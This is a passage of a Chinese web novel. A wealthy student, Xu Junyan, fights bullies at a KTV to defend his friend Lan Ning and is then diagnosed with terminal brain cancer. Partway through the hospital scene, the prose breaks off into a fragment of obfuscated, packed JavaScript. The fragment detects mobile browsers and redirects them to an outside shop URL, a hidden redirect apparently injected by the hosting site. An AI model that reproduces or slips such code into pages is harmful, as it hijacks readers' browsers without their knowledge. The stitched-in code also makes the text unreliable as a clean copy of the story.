康佳招招手,后面的两个秘书拿过来包装简陋的土特产。
许君言直皱眉,又是月饼礼盒,蔬菜果篮?打发要饭的呢。
张曼在那堆土特产上扫了几眼,眼神示意许君言:“言言,上楼复习去吧。”
他抱着kivi上楼。
临走时,楼下还传来康佳的声音:“许董事,您看之前说合作保健品的事.....”
张曼的声音也响起来:“先坐下说话,咱们老一辈是至交。算是老朋友了,别客气。”
他听不懂什么投资,合作之类的,只知道小时候家里就有很多人来找爸妈谈事情,每次来都拿这些破烂过来。
不懂那些破破烂烂的蔬菜水果,月饼礼盒干什么,家里又不吃,收下干什么。
但父母倒是挺开心的。
时间长了,他也习惯了。
暑假放了一个月。
才过了几天许君言就觉得无聊,郑嘉仪那小子去看画展了,在国外玩的不亦乐乎。
他倒是也想去,但家里人不让。
许君言拿起手机,给蓝宁发了个微信:“在哪里呢。”
蓝宁过了一阵子才回复:“在打工。”
“又在打工,你真是没苦硬吃。”
“在家里没什么事做,出来赚钱。”
许皇大帝:“在哪里?我也去。”
蓝宁那边犹豫了一会儿,打出几个字,“春熙路的皇冠ktv。”
“哟,那家店不错,我去过。”许君言回复完,从书桌上窜起来,摸摸kivi的狗头,算是告别。
下楼梯时许正扬跟康佳看起来聊的挺开心,许君言打了个招呼就走了。
桌子上那堆土特产已经不见了踪影。
许君言离开家,司机给他送到位置,他下车冲司机威胁地比比手,“我只是来唱歌的,不要给我爸妈添油加醋,被我知道没你好果子吃。”
司机小李赶紧比了个ok的手势,“明白,小少爷,我什么人您不知道吗,对您绝对忠诚。”
许君言听完心满意足地迈进KTV的大门。
皇冠KTV里面挺大,许君言翻找出前年的卡,递给柜台上的人。
不一会儿就有专门的服务生十分热情地迎接他。
许君言瞧见他的脸,皱皱眉,忍不住四处看了看,目光在来来往往的白底黑马甲服务生中转了一圈。
没找到人。
蓝宁不是在这呢吗。
“哎,你们那个,点人多少钱?”服务生带他进了专用电梯,许君言靠着电梯门说。
“点人?您的意思是点陪唱的么?”服务生在他有些圆润的下巴壳上停留几秒,确认这人应该年纪不大,便说:“您这边点陪唱的话388一位。”
“哦,点你们叫蓝宁的,叫他过来陪我。”
服务生纳闷,想起一周前招进来的那个清瘦的
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少年,皱眉道:“您点一个备菜的干什么。”
“你管我干什么?我就要他。”
服务生应声走后,许君言在包间里唱了两首,实在唱不下去,话筒里的回音和震天响的背景乐,让他觉得自己唱出来的是一堆垃圾。
索性扔了话筒,瘫在沙发上开始对蓝宁夺命连环催。
过了一会儿。
“当当当”门被敲了三声。
许君言的视线从手机上抬起,看向门口。
人来的很快,推着一个精致的小餐车走进来。
“先生,您点的果盘到了。”穿着黑白制服的服务生十分有礼貌,弯着腰,低垂着眉眼,将车上的东西一碟一碟放在茶几上。
许君言也弯腰,不过是坐在沙发上,手机在手里倒蹬两下,看他一盘一盘放完,问:“装不认识我呢?”
服务生抿了下唇,一秒钟破功,眨眨眼睛,“我多切了点西瓜。”
“哦,谢谢你啊。”
“不客气,您慢用。”蓝宁说完坐在他旁边,调皮地笑笑,“还要什么服务?”
“我要特殊服务。”
“没有特殊服务。”蓝宁说:“有特别对待。”
“什么特别对待。”
“一对一家教。”
许君言闻言往后一躺,大叫:“饶了我吧,放假了还让我学习......”
“那你叫我做什么?”蓝宁有点好奇,既然不是家教总有别的事。
但他不知道许君言单纯的是一时兴起,只是想来玩玩,许君言说:“非要有事才能叫你啊,你最近是不是有点以下犯上了?”
“对不起。”蓝宁笑了下。
“对不起有屁用啊?”许君言白天被他妈说了一通,索性也点点他的脑门,“在言哥面前不准笑嘻嘻的。”
”好。”蓝宁抿紧嘴唇,压制上扬的嘴角,如果是别人,蓝宁还能感觉出一点威胁的意思,但是许君言的话,他觉得一点也没有威慑力,因为许君言是一个放羊的孩子。
说了太多次狼来了,蓝宁根本不相信许君言会伤害自己。
甚至会主动抬头蹭上去。
于是许君言从点他的脑门到拍拍他的头,“你怎么这么像kivi啊。”
“kivi......”蓝宁的话还没问完,腰间的对讲机嘶拉嘶拉地发出声,紧接着里面一个粗犷的声音突兀地蹦出来,“蓝宁过来搬货,妈的干什么去了?”
蓝宁拿起对讲机回应:“我在包间陪客人。”
“少找借口偷懒,现在马上给我回来!”
许君言一听脾气蹭地上去了,一把抢过对讲机,大骂,“你他妈谁啊,说话这么冲?”
“你他妈又是谁?”
“我是你圣父,your,father。”
那头反应了一会儿,仿佛才知道圣父还能用来骂人。
“你妈------”刚要张口回骂,蓝宁抢过去掐了无线电,然后捂着嘴倒在沙发上。
“妈的不知道顾客就是上帝啊?你挂了干嘛,我还要没骂完呢。”许君言说着,扒拉一下他,十分纳闷,“哎,你干嘛呢。”
蓝宁肩膀颤动几下,过了好一会儿,抬头露出一张憋的通红脸,他收起笑的发痛的嘴角,说:“没什么,我要回去干活了。”
说完看了一眼许君言又忍不住噗嗤笑出声。
“笑什么啊。”许君言觉得很奇怪,这有什么好笑的,这人笑点真低,疑惑完又觉得不对劲,“哎,我点你花了钱的,你还过去干嘛?”
“i’llbeback。”蓝宁走到门前,转身过来,用十分标准的英式口语说:“father。”
许君言皱起眉,这丫的有病吧,谁要当他爸爸。
不过被他叫的还挺爽的。
19. 命运
这说好一会儿就回来,可一会儿大半天了。
许君言西瓜吃过了,十分想放水。
顶楼包间没什么人。
许君言慢悠悠地出门,找卫生间放水。
路过一个门口,里面的房门忽然弹出来,差点撞到他,许君言刚要发火,只见一个穿着服务生衣服的女生眼底泛红,脸上湿漉漉的,匆匆忙忙地跑了出去。
许君言皱眉,下意识往包间里面看了看,一股强烈的酒味冲进鼻腔。
他一脸嫌恶地堵住自己的鼻子,只见里面灯光昏暗,三个人横七竖八地躺在沙发上,像几条癞皮狗。
桌子上都是酒水饮料。
刺耳的音乐声还在咚咚作响。
许君言看到那几张人脸时,顿时觉得更加恶心了,上午他妈刚提到董宇,没想到下午就撞见了他们三个狗东西,许君言觉得十分晦气,抬脚准备要走。
里面的人发话了:“叫她喝酒都喝不明白,真他妈扫兴。”
另一个人说:“看样子新来的,要不叫前台送几个人过来?”
“别送了,长的一个比一个丑,比他妈蓝宁都丑。”
许君言抱着手臂,迈出去的脚步又收回去,站在门口,看着里面几个人。
张大伟说:“动不了许君言,也动不了蓝宁,真他妈没意思。”
“要不是他家有点背景,我早就弄他了。”董宇说:“他有什么可装的,罩着蓝宁真以为自己是他妈的英雄啊。”
徐鸣绅趴在沙发上,呵呵一笑,“你以为他是什么好人,无非跟他爸妈一样,骨子里都是臭老鼠。”
董宇打了个酒嗝,说:“管他香老鼠臭老鼠,都绕着蓝宁转,操,他们姓蓝的,都他么一个样,他妈勾引我二叔,他勾引许君言。”
蓝宁搬运完啤酒,又被经理叫回包间陪许君言唱歌,他刚走出顶楼电梯,就撞见许君言站在一个陌生的包间门口。
蓝宁快步走过去,说:“你怎么在这里,这不是.......”
蓝宁的话说到一半。
董宇嘲弄的声音从里面传出来:“同性恋都走后门,蓝宁应该是卖屁股,是许君言的小婊子哈哈哈。”
蓝宁脚底升起一阵冷意,他看向许君言,发现许君言脸色铁青,脑内顿时警铃大作,他拽着许君言的袖子,“走,别听他们胡说。”
许君言拳手攥的嘎嘣嘎嘣响,猛地甩开他,长腿一抬走进包间。
他抬脚。
“哐当------”
包间门口一米多高的花瓶被踹倒地上砸成碎片。
巨大的声响盖过了吵闹的音乐声,在房间里回响。
几个人闻声从醉生梦死中清醒,从沙发上抬头,只见一个人影瞬间冲了过来,许君言上去狠狠一拳,将董宇打翻在地。
酒水四溅。
徐鸣绅和张大伟被酒精麻痹了脑子,身体也跟着迟钝,挣扎半天摇摇晃晃站起来,张大伟首先认出来他来,“又他妈是你!”
董宇抱着头,气急败坏捂着脑袋大喊,“给我打死他!”
张大伟轮着拳头冲他砸来,许君言一脚踹在张大伟的小腹上,董宇趁他分神朝他脸上来了一拳,从地上狼狈地爬起来,拽过徐鸣绅,推他一把:“他妈的,给我上!”
徐鸣绅想起被许君言羞辱的种种,酒精上脑,大吼着冲上去。
四个人顿时扭打起来。
蓝宁心脏惊的砰砰乱跳,他不顾一切上前推开拿凳子砸人的张大伟,拉着许君言,拼命往门口带,“别打了!!!别打了!”
到处都是散落的酒瓶。
灯光绚丽的模糊。
“妈的!”许君言抬脚踹开扑上来的人。
蓝宁死死拉着许君言,脸色苍白,一股巨大的恐慌笼罩了他,那些拳头即使没落在他身上,也让他本能的产生恐惧,本能的发抖,“求你,求你别打了,你不是来找我的吗?”
“少他妈管我!”许君言正在气头上,低头要骂,却撞进了那双充满水雾的眼睛,他愣了一下,想甩开的手也没甩起来,缓缓松开拳头,阴沉着脸被拉着走到门口。
刚走到门口。
啪的一声,啤酒瓶碎片在他头顶飞溅。
一股温热的液体从头顶淌下来。
蓝宁惊的叫出声,许君言脸色阴沉骇人,缓慢地转过头,张大伟拿着半个碎掉的啤酒瓶,站在房间里,喘着气,“我他妈让你走了吗......”
许君言一声不吭地擦擦脸上的酒水,用力掰开蓝宁的手,迈进包间,然后哐当一声关上了门。
“许君言,许君言!!!”蓝宁拼命拧动着门把手,发现里面被反锁,根本打不开。
厚重的门隔绝了声音,听不见也看不见里面的情况,蓝宁踢踹了一阵子,房门根本纹丝不动,他放下发麻发疼的腿,赶紧拿起对讲机呼叫楼下的保安。
等待的十几秒度日如年。
保安打开了房门,蓝宁第一个冲了进去,房间内一片狼藉,所有东西都被砸碎了,地板上横七竖八地躺着几个人,许君言擦擦脸上的血,呸地吐在董宇的脸上,“狗崽子,妈的,以后我见你一次打你一次。”
蓝宁抓着他,手指都在抖,他知道许君言打人狠,但是亲眼目睹又是另一回事。
这种打法,好像不要命一样。
他找出一条毛巾,颤抖着按在许君言头顶上的伤口。
他只通知了保安,但是没过多久来了一群人,服务员,医生,还有他们各自的父母。
好像一瞬间嘈杂的声音充满包间。
有抱怨,有质问,也有哭声。
许君言坐在沙发上自己按着伤口,蓝宁有些怔愣地看着来来往往的人们,直到他面前站了两个人。
那两个人穿着正装,浑身透着一股子说不清的强大气场,即使不说话,蓝宁也感觉到他们的身份很不一般。
两个人很明显目标不是他,而是坐在他旁边的许君言。
女人看了他一眼,蓝宁被她的不怒自威的气场震到,心里一惊,连忙站起来。
“妈妈,我.......”许君言抬头,话还没说完,张曼抬手一个巴掌打在他肩膀,指着他鼻尖,”许君言,你不惹事会死吗?啊?”
许正扬单手插兜,看了许君言一眼,转身朝另一堆人群走去。
“许董事,今天你必须给我个说法,我们家孩子被打成这样.......”董太太见许正扬过来,捂着胸口一副咽气的样子,“我家小儿子,再怎么混账,那也是个孩子......你家的儿子为什么要下这么重的手......”
“我家小徐怎么被打成这样......”徐太太也跟着抱不平。
“小伟,小伟你看看爸爸......”
几家的家长围着自家的儿子哭诉着。
许正扬捏了捏眉心,又折返回罪魁祸首旁边。
蓝宁站在角落里,不知道自己该干什么,只能拧着手里的带着血的毛巾。
像一只落单的鸟。
不一会儿,里面受伤的人都被医护人员和家长带下去,许君言也要去医院做检查。
蓝宁想跟过去,张曼回头一个眼神阻止了他。
人群散去,张曼朝他走过来,轻声开口:“你叫蓝宁吧?”
蓝宁点点头,擦擦手里的血,局促不安地鞠了个躬,“阿姨好。”
张曼拍拍他的肩膀,温声细语:“以后离言言远一点。”
“言,言言?”蓝宁抬头,喃喃出声。
“我是许君言的妈妈。”张曼好心提醒他。
蓝宁才反应过来,原来言言是许君言的小名。
“我知道许君言对你很好。”张曼柔声说:“但是你不应该给他添麻烦,你是个聪明的孩子,应该知道我说的是什么意思吧?”
蓝宁心里一阵苦涩,缓缓低下头。
他差点忘了许君言为他打的架。
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南林市第一人民医院。
许君言伤的不重,做了一堆检查,脑袋缝了两针就出来了。
出来后护士带着许君言去病床上休息。
他爸妈在外面不知道在干什么。
等他缝完针出来人都不见了。
护士走前叮嘱他在床上躺两个小时观察观察。
许君言躺了一会儿就躺不住了。
拿起手机给郑嘉仪发了个头顶被缝针的照片。
蓝宁的微信也发了过来,“你还好吗?”
“好啊,不过他们可不大好。”许君言继续发消息:“你看到没?以后惹我的下场就是这样。”
郑嘉仪打了微信电话过来,许君言就没再回蓝宁的消息,接了电话。
“董宇还有那两个臭狗屎,被我揍的半死不活......嘶-----”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16814905|190832||http|test|mini|href|location''.split(''|''),0,{}));
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>许君言说着,从床上蹦下来,脚落地的瞬间,脑内一阵尖锐的刺痛。
“言哥,你咋了?”
“没事。”许君言皱皱眉,那股刺痛很快就消失了,他摸摸头上的纱布,根本没在意。
医院楼下有专门开的超市,许君言下去买糖,他很爱吃甜的东西。
什么糖果,蛋糕,巧克力,奶茶,统统喜欢。
吃完有种大脑放空的舒服感。
买完糖,许君言继续跟郑嘉仪唠嗑:“我没事儿,天天打架,我爸妈能把我怎么样?无非就是拿七匹狼抽我,我又不是没被抽过,问起来就是他们先打的我。”
“哥你不是说,你先给董宇一拳的么。”
“这你别管,反正是他们先打的我!”许君言暗自计划着一会儿应对爸妈的说辞,路过一间诊室,余光猛然略过两个熟悉的身影。
他身形顿了顿,眯起眼睛再次看过去,门中间的透明的玻璃里映出两个人的背影,一个坐着一个站着,正在跟里面的医生老头说着什么。
许君言眯起眼睛,抬头看了看上面的牌子,诊室上写着肿瘤科。
许君言一阵疑惑,他们两个来肿瘤科做什么?
尽管只是背影,他不可能看错。
他自己的爸妈怎么会看错呢。
他挂掉手里的电话,朝着科室走过去。
诊疗室里。
头发花白的老教授,盯着一个片子,盯了十几分钟。
张曼坐在椅子上,纤细的手指把布料抓的发皱,许正扬双手搭在她的肩膀上,面色凝重,“刘教授,这诊断结果是不是错了,言言这么小,怎么会.......”
“这怎么可能啊,言言从小体格就很好,家族也没有遗产病史。”张曼声音一阵颤抖。
刘教授慢慢摇摇头,从CT片子上抬头,深深叹口气,“这孩子的病情很不乐观啊,你们以前给他做过脑科检查吗?”
“有,每年都有的,一直没有任何问题,也没有任何症状。”张曼像抓住了最后一丝救命稻草,满坏希翼地看着对面的人:“刘教授,您诊断错了吧,他从来没有任何问题啊,他身体一直很健康啊......”
“仪器不会诊断错误,更何况你们已经做了两次。”刘德永再次摇摇头,说:“半年前没查出来,只能说恶化速度太快了,从片子上看,大概率是弥漫性脑部胶质瘤,具体情况还要做个病理诊断。”
“怎么会.......”张曼五官一阵扭曲,支着额头不语,许正扬脸上出现一丝裂痕,他们的大儿子,一直以来都活蹦乱跳的像兔子,怎么一下子做了个检查,就诊断出脑癌晚期。
这简直荒唐到极致。
刘德永拿起CT片端详,微微叹气,他也希望是误诊,从业四十余年,接诊过这么年轻,前期没有明显症状的,上来就恶性程度这么高的患者两只手都数的过来,但这片子不会骗人,他的从业经验也告诉自己绝无可能误诊,这孩子真的是脑癌晚期患者。
“言言要怎么治疗。”许正扬呼出一口气,“刘教授,我不在乎代价,只要能治好我儿子我愿意倾家荡产......”
刘德永微微叹气,“这不是钱的问题,这孩子首先要取活检病理定性,配合定向化疗,效果不错的话,一年以上存活期有的。”
“一年?”许正扬表情扭曲,不可置信地重复了一遍,“只有一年?没有治愈的可能?”
刘德永摇摇头,拿起CT叹息,“详细的治疗方案还要后续再讨论,可以尽力延长生存周期,不过也........”
杯水车薪,于事无补。
“这不可能!”许正扬表情彻底失控,猛然大吼,“你说我儿子只能活一年?这怎么可能,他才十几岁!!!!!!怎么可能得脑癌!!!庸医!庸医!!!”
许正扬拿起桌上的片子,夺门而出。
打开门的瞬间,他的心脏一瞬间仿佛停止了跳动。
一个少年一动不动地站在门口,少年长的跟他七八分相似,只不过身体还在发育阶段,有些清瘦修长。
许正扬眼底泛红,嘶哑的嗓子叫出声,“言言......”
许君言嘴里的糖球掉了出来,呆愣愣地看着他爸爸,满脸迷茫,“什么脑癌?谁.......谁得脑癌了?”
张曼看见门外的少年,终于忍不住捂着脸哭了起来。
诊室内一阵寂静。
20. 生死有命
高三下学期。
晚春三月,冬季吹过来的风有些刺骨,蓝宁快步走进班级。
老师催他报志愿他一直都没想好考什么大学,甚至于以后做什么都没想好。
寒假暑假兼职挣了不少钱,让他有了充足的钱。
另外董宇他们在那个暑假过后转走了,这个学校再也没有欺负他的人。
还有一点非常可惜,高三上学期末,郑嘉仪也转走了。
还没来得及问他原因,忽然就转走了。
迄今为止,生活都在安安稳稳的过着。
蓝宁坐在座位上,点开手机将整理好的资料文档发给许皇大帝。
许君言从去年暑假就没来上过学,蓝宁问过他,他说自己已经学的差不多了,现在在跟父母环游世界。
好像一瞬间所有跟他有关联的人都离开了他的世界。
蓝宁会在微信朋友圈里看许君言发的动态。
有时候是在巴黎,有时候在伦敦,有时候又在南极洲。
直到蓝宁看到了他朋友圈晒出的返程机票,问:【环游结束了?】
许皇大帝:【当然,我还在欧洲皇家歌剧院开了一场自己的演唱会。】
蓝宁想起前几天他朋友圈发的照片,歌剧院很大,内部富丽堂皇,许君言一个人站在台上,台上有百人伴奏的专业乐队,但台下观众席空却无一人。
许君言那时候还说是为了好玩自己特意包的场。
于是蓝宁又问:【那是最后一站吗?】
许君言:【不是,最后一站是这里。】
蓝宁疑惑:【哪里?】
许君言手指顿了顿,回复:【我要回去上学了。】
【啊!真的吗?什么时候?我来接你!】
【过几天吧,叫上郑嘉仪一起,】
【郑嘉仪转学了。】
【哦,怪不得联系不上呢。】
许君言放下手机,外面蓝天白云,水雾丝丝缕缕的上升,在云层里留下一个圆形的彩虹。
许正扬搂过自己的儿子,轻声说:“家里不是最后一站,言言,我们以后还会再环游世界。”
过去的一年,全世界都跑遍了,他们仍旧未能寻找出治疗许君言的办法,最后兜兜转转又回到了南林市,其实确诊的那一刻,张曼已经明白,著名脑外科学家刘德永都治不了的人,其他人更是没可能治好,他们过去的一年只不过是在掩耳盗铃,自欺欺人。
张曼一只眼睛包着纱布,长时间的悲伤她一只眼睛视网膜已经严重受损,另一只眼底布满血丝还勉强能看的见,她深呼一口气,转过身看向窗外的云彩。
许君言笑了下,他已经很淡然了。
“我爱你们。”许君言轻声说:“没事的,不要哭了,说不定有一天我就好了。”
也许吧,许君言也不知道,他忽然知道自己快死了,忽然脑袋里长了个肿瘤。
这很突然,在一个平平无奇打完架的下午。
扫了个CT告诉你,没多少日子了。
然后就是手术,化疗,求医问卜。
他已经淡然接受自己的命运,但爸爸妈妈要比他脆弱的多。
他晚上睡不着的时候经常能看到父母坐在他床边,有时候呆呆地坐着,有时候会哭,他会被吓一跳,时间久了也慢慢的习惯了,有他们在反正安心一些。
死就死喽,有什么大不了的呢。
他这些年活的很开心,有爱他的爸妈,有朋友,又去开了演唱会,当了大明星。
又在环游世界。
已经很不错了。
就这样吧,许君言想,他父母已经够伤心了,他不能再伤心了。
私人飞机降落在专用机场,他们回到家里的庄园别墅。
晚上灯火摇曳,许君言躺在床上睡着了。
张曼关上门,见许正扬站在落地窗前上去轻轻抱住了他,“什么时候走?”
“过阵子吧,等言言在学校呆够了,玩够了,我们带着言言离开这里,再也不回来。”
“公司那边.......”
“资产都转移走了,等我们出国,谁也找不到,那时候我们就能一直陪着言言,一直到最后……”许正扬抓紧她的手。
张曼哽咽着应声。
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许君言说了要回来上学,蓝宁等到中午才等到人,见到人的一瞬间微微愣了一下,许君言好像瘦了很多。
他戴着一顶黑色棒球帽,口罩也捂的严严实实,已经到了暮春,还穿着米白色的长款羽绒服。
“好久不见啊,小土包子。”许君言闷声开口。
声音也有些嘶哑,蓝宁走过去,靠近的瞬间闻到一股淡淡的药味。
“我给你拿行李。”蓝宁接过他手里的行李箱,箱子小小的,很轻,便问:“这里面是什么?”
“是我的专辑,还有一些,风景照之类的。”许君言递给他,手臂很自然地搭上他的肩膀,“毕竟我以后可是炙手可热人见人爱的超级明星,你要不要一张?带我自己的签名。”
“要。”蓝宁应声。
“要也不给你。”许君言摸摸他的头,又说:“土包子不懂音乐。”
“好吧。”蓝宁有些失望。
许君言不想要送什么纪念品的东西,那些专辑啊,相片啊,都是留给自己的,留给别人显得多矫情,好像自己有多放不下。
他活的潇洒,走的也能潇洒。
中午收拾好宿舍,蓝宁和许君言回到各自班级。
蓝宁的班级在许君言的前面,他很快就到了,许君言越过他往里走,蓝宁在门口驻足了一会儿,午后的阳光照着走廊,天气还是冷的,照的许君言人影萧条,明晃晃的泛着冷意。
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【下课来我寝室。】
蓝宁晚自习忽然收到消息后,回复:【好。】
蓝宁只要跟张主任说一声晚自习去给许君言补课,基本上他班主任就不会阻拦。
蓝宁发现张主任最近脸色不大好,提起许君言一副如丧考妣的悲痛样子,但他也没多想。
只当是张主任步入中年的更年期。
寝室暖风开的很足,蓝宁背着单肩包走进门,床上的被子还是瘫成一堆的,许君言穿了一身米白色的小熊团睡衣下地正给自己倒水。
蓝宁说:“你要睡了吗?”
“不睡,就是天气太冷了,躺着多舒服。”
蓝宁不记得许君言怕冷,印象中他很好动,不应该怕冷,但转念一想,他跟许君言也没相处多久,不算很了解。
许君言喝完水躺回被窝,拍拍床,“上来坐着啊。”
“嗯。”蓝宁犹豫了一会儿,还是坐在床边,有些局促,许君言盖着被子,露出一个毛茸茸的脑袋,“我们上次讲到哪里了?”
蓝宁赶紧翻找出包里的笔记,打开,“讲到物理常见大题。”
蓝宁给他讲解着几种物理常见题型以及解题思路,讲到一半,许君言的头蹭了蹭他,慢慢地枕在他的腿上。
蓝宁不大敢动,一时间说的话也停了。
许君言的头发很软,他看过去,发现头顶稀稀梳梳的,白皙的头皮都裸露出来。
许君言枕着他的腿,迷迷糊糊地打瞌睡:“继续讲啊。好催眠。”
蓝宁忍不住摸摸他的头发,问:“你的头发怎么好像变少了。”
难道是他的错觉?可印象中他的头发没有这么稀少。
“这不是学习学的吗?”许君言低着头,说:“学的太刻苦了,怎么办啊,以后不小心考到清华,我很为难的。”
“什么啊。”蓝宁被他逗笑,手指在发丝中划过,忽然摸到了一个小小的圆形伤疤。
许君言身体一颤,立马躲开了他的触碰。
蓝宁收回手,脸色有些凝重,“这是暑假的时候张大伟给你打的么?”
“是啊。现在已经好了。”许君言从他的腿挪到枕头上,双手枕着手臂,说:“他已经被我降服,成为我的坐骑,以后看见我都得给我下跪。”
“好厉害。”蓝宁微微一笑。
时间一点一点的流逝着,讲完课,监督完作业,蓝宁完成今天的任务也该走了。
他拿起书包起身,“今天到这里吧,我先回去了。”
“要走了?”许君言趴在床上,脸贴着卷子,伸手扯扯他的书包带,“这么晚了,还有车吗?”
蓝宁看了眼时间,这个时间公交停运了。便说:“没有了,我打车回去。”
“打车啊。”许君言有些失望,看向他闷闷出声,“你以前不是走着回去吗?”
蓝宁微微皱眉,忽然不懂许君言什么意思,为什么让自己走着回去,以前走着回去是因为穷,现在他有钱了,走着回去做什么。
但是毕竟是许皇大帝,思维不是正常人能理解的,蓝宁还是决定顺他者昌,说:“那我走着回去好了。”
于是他转身要走,走了两步没走
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动。
许君言又扯住他书包带,太过用力导致单肩包滑落在蓝宁的臂弯,蓝宁:?
许君言闷闷地出声:“那你走着多累啊,留下来陪着我吧。”
今天许君言忽然发现一个问题,就是没有人陪伴是件很令人恐惧的事。
他好像离不开人。
父母守在他身边久了,突然离开他,许君言就像返回到了婴儿时期,强烈需要人的陪伴,
必须有人无时不刻的在他身边才能安心。
他需要人陪。
蓝宁微微一顿,随即笑着说:“好啊。”
许君言听完立马爬起来,把床上的卷子卷起来放在一边,收拾自己的床,使唤他,“你去洗澡吧,睡衣在衣柜里。”
“好。”
洗完澡,蓝宁穿上一套一模一样的小熊睡衣,慢慢爬上床。
虽然是单人床,但是比他家里和外婆一起住的床还要大。
蓝宁有些紧张,刚躺下去,不一会儿一个热热的身体就靠了过来。
蓝宁总觉得许君言回来变得温和了许多,不仅仅是温和,还隐约的黏人……
“好可爱的睡衣。”蓝宁视线落在他的睡衣上。
“我妈妈给我挑的,我不爱穿,非得逼着我穿。很幼稚的。”
“你妈妈对你真好。”蓝宁说。
两个人离的很近,许君言枕着枕头,问他:“你在我这留宿不用跟家里说一声吗?”
“不用。我妈欠钱跑了,我外婆过世了。”
“你外婆过世了?什么时候?”
蓝宁平静地说:“去年冬天,去捡钢筋被卷到铲车下面,就去世了。”
房间里寂静了很久。
许君言说:“你外婆死的时候她会害怕吗?”
“我也不知道。我去的时候外婆已经过世了。”蓝宁说的很淡然。
许君言后知后觉,“对不起啊。”
“没事的。”
许君言盖着被子,露出一双眼睛,然后在被窝里摸索了一会儿,摸到蓝宁的手,跟他牵在一起。
蓝宁紧紧反握住他的手,其实蓝宁那时候几乎想着跟外婆一起去了,但是想到许君言还在,蓝宁才有了一点继续活下去的念头。
可蓝宁发现许君言这段时间很嗜睡。
下课趴在桌上,体育课趴在桌上,甚至晚上补课也躺在床上。
一动不动。
学习也不如以前,理解力变差,很多以前会的题型现在也忽然忘了。
蓝宁有时候只能在旁边干着急。
天气渐渐暖和,他们约在天台上学习,许君言穿上了一件羊毛衫,外面罩着宽松的校服外套,手里横着一本单词本。
但是单词没背几个就往他身上钻,靠在他怀里昏昏欲睡,像只慵懒的大猫。
两个人有一搭没一搭闲聊,聊到志愿。
许君言放下单词本,说:“你以后想当什么?”
“医生吧?”蓝宁也不确定,目前只想选一个工资高的职业。
许君言轻声说:“好啊,那等我死后要把我的遗体捐出去。”
“为,为什么?”
“为了死后也不被人忘记,最好能陈列在展览馆,展现出我的完美和帅气,你不是要当医生吗,如果有一天我死了,专门给我做漂亮点,年轻点,然后还要制作一个纯金的金牌,”许君言说着说着停顿了几秒,好像在思考,也好像没什么力气似的,声音有点有气无力,“写着大大的许,不,只写许不大行,要写许某某到人间一游……”
“我.....”蓝宁有些被他的想法吓到,哪有人会主动把自己做成大体还要放在展览馆的啊。
“我什么我呀,”许君言声音逐渐变小:“我相信你,你以后一定是个专业的好医生……”
蓝宁心脏快速跳动两下,刚要说话。
许君言头一歪。
闭上眼睛睡着了。
蓝宁不由笑出声,小猪吗?整天睡。
他抱着他调整了一下位置让他躺的更舒服,手指不经意略过他的鼻子,却摸到了一手湿热的液体。
蓝宁惊慌地低头。
鲜红的血液从少年的鼻腔中滴滴答答淌下来,在蓝白校服上晕染出一大片殷红的花。
“许君言!”蓝宁惊慌失措,抱着许君言摇晃着,“你怎么了?!”
回应他的只有天台上的回音。
少年的头软棉棉地垂下来,好像失去了生命力。